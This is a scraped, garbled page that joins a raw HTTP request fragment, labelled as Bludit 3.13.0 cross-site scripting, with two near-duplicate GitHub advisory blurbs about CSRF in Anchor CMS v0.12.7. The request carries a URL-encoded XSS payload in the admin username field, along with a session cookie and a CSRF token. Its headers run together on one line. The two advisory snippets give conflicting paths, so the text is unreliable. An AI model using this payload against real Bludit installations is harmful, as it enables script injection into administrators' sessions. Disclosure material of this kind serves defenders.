documentReferer: http://localhost/admin/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BLUDIT-KEY=9951a5o12g66e4c9aill39ul4pConnection: closetokenCSRF=d39d816df2972798da8c5be0b0b944cfc5163938&username=%60%60admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E%60%60&password=&save=

Bludit 3.13.0 Cross Site Scripting

Anchor CMS v0.12.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via /anchor/admin/categories/delete/2.

**Cross-Site Request Forgery in Anchor CMS**

High severity GitHub Reviewed Published Mar 22, 2024 to the GitHub Advisory Database • Updated Mar 22, 2024

GHSA-2whx-ccr7-fxqm: Cross-Site Request Forgery in Anchor CMS

Anchor CMS v0.12.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via /anchor/admin/users/delete/2.

Tag

#csrf